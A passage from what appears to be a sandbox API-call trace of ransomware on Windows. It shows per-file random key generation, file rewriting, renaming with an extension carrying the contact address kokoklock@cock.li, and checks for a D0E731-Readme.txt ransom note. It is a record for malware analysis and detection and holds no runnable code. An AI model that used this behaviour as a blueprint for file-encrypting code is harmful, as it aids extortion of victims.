liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45c8 [0166.974] NtQuerySystemTime (in: CurrentTime=0xa4efbd4 | out: CurrentTime=0xa4efbd4*=132121213242823676) returned 0x0 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x45c1c977 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x2c116a31 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x85511d17 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x482e524b [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x1d010f99 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xe3cc1aa3 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x2816b8b1 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x2cbcc7d [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xd5f60dfa [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xb6ae91b8 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xcce78a50 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xd7e0fa5 [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x34a8c62f [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xb581fede [0166.974] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x703a7b98 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xfca77f3a [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x28576b1d [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x139c0d34 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xd50cb665 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xd226ae0a [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x4065dc38 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x5f41dcf1 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xf2e34c3e [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x22167277 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xddac8dec [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xfedb9ef0 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x6e737833 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x4f3d33bd [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x1e4b9a47 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0xeb9fc6d2 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x8228e977 [0166.975] RtlRandom (in: Seed=0xa4efbe0 | out: Seed=0xa4efbe0) returned 0x4a6489ad [0166.983] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45f0 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.985] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.985] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.986] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xe1b, lpNumberOfBytesRead=0xa4efbd4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa4efbd4*=0xe1b, lpOverlapped=0x0) returned 1 [0166.986] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa4efb9c | out: lpNewFilePointer=0x0) returned 1 [0166.986] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xe1b, lpNumberOfBytesWritten=0xa4efbd0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa4efbd0*=0xe1b, lpOverlapped=0x0) returned 1 [0166.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.986] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0166.986] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa4efbcc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa4efbcc*=0x20, lpOverlapped=0x0) returned 1 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.986] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.986] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa4efbf8*=0x8, lpOverlapped=0x0) returned 1 [0166.987] WriteFile (in: hFile=0x528, lpBuffer=0xa4efc10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0xa4efc10*, lpNumberOfBytesWritten=0xa4efbf8*=0x4, lpOverlapped=0x0) returned 1 [0166.987] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa4efbf8*=0x4, lpOverlapped=0x0) returned 1 [0166.987] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa4efbf8*=0x6c, lpOverlapped=0x0) returned 1 [0166.987] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa4efbf8*=0x20, lpOverlapped=0x0) returned 1 [0166.987] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa4efbf8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa4efbf8*=0x4, lpOverlapped=0x0) returned 1 [0166.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe45f0) returned 1 [0166.987] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.987] CloseHandle (hObject=0x528) returned 1 [0166.987] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.987] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.987] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.988] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.988] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.989] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0166.989] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" [0166.989] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\d0e731-readme.txt")) returned 0x20 [0166.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d860) returned 1 [0166.989] RtlExitUserThread (Status=0x1) Thread: id = 1643 os_tid = 0x980 [0166.994] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.994] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.995] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa56f7bc | out: lpFileSize=0xa56f7bc*=82538) returned 1 [0166.995] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x14266, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.995] ReadFile (in: hFile=0x528, lpBuffer=0xa56f790, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0xa56f790*, lpNumberOfBytesRead=0xa56f78c*=0x4, lpOverlapped=0x0) returned 1 [0166.996] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0166.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe45f0 [0166.996] NtQuerySystemTime (in: CurrentTime=0xa56f768 | out: CurrentTime=0xa56f768*=132121213243158800) returned 0x0 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xe033271a [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xc6254825 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x1df62b65 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x35625b56 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xba48abe1 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x127cf7e0 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x91d82171 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x5bf393a3 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xc108a92a [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xaeeaa542 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x6908d5c1 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x933ac580 [0166.996] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x469b428e [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x1e10c795 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xbc3829f9 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x19e34836 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xcb346487 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x65fc5ce7 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xd26728c6 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xea9dd992 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x20979cd9 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xa7753323 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x6c2759c [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xd9c18f05 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x479d7306 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x4ddc9e1e [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x4d512cb4 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xd74c37ae [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x6488e8c5 [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xcd08fded [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0xe532829a [0166.997] RtlRandom (in: Seed=0xa56f774 | out: Seed=0xa56f774) returned 0x360063ce [0167.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0167.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0167.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.008] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.008] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa56f740, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa56f740*=0x4096, lpOverlapped=0x0) returned 1 [0167.009] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.010] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa56f740, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa56f740*=0x4096, lpOverlapped=0x0) returned 1 [0167.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.011] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1426a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa56f778, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa56f778*=0x20, lpOverlapped=0x0) returned 1 [0167.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0xa56f78c*=0x8, lpOverlapped=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0xa56f7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0xa56f7a4*, lpNumberOfBytesWritten=0xa56f78c*=0x4, lpOverlapped=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa56f78c*=0x4, lpOverlapped=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa56f78c*=0x6c, lpOverlapped=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa56f78c*=0x20, lpOverlapped=0x0) returned 1 [0167.011] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa56f78c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa56f78c*=0x4, lpOverlapped=0x0) returned 1 [0167.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0167.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0167.012] CloseHandle (hObject=0x528) returned 1 [0167.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0167.012] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0167.012] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.012] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.013] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0167.013] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0167.013] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1031\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0167.013] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" [0167.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1031\\d0e731-readme.txt")) returned 0x20 [0167.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0167.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d368) returned 1 [0167.013] RtlExitUserThread (Status=0x1) Thread: id = 1644 os_tid = 0x830 [0167.016] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.017] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.018] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.018] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa5efc40 | out: lpFileSize=0xa5efc40*=3506) returned 1 [0167.018] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xdae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.018] ReadFile (in: hFile=0x528, lpBuffer=0xa5efc14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0xa5efc14*, lpNumberOfBytesRead=0xa5efc10*=0x4, lpOverlapped=0x0) returned 1 [0167.019] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0167.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41b8 [0167.019] NtQuerySystemTime (in: CurrentTime=0xa5efbec | out: CurrentTime=0xa5efbec*=132121213243292537) returned 0x0 [0167.019] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x235894dd [0167.019] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x593e7b76 [0167.019] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xbaf1d4bd [0167.019] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x7d96d4d2 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x49005429 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x793f9486 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: 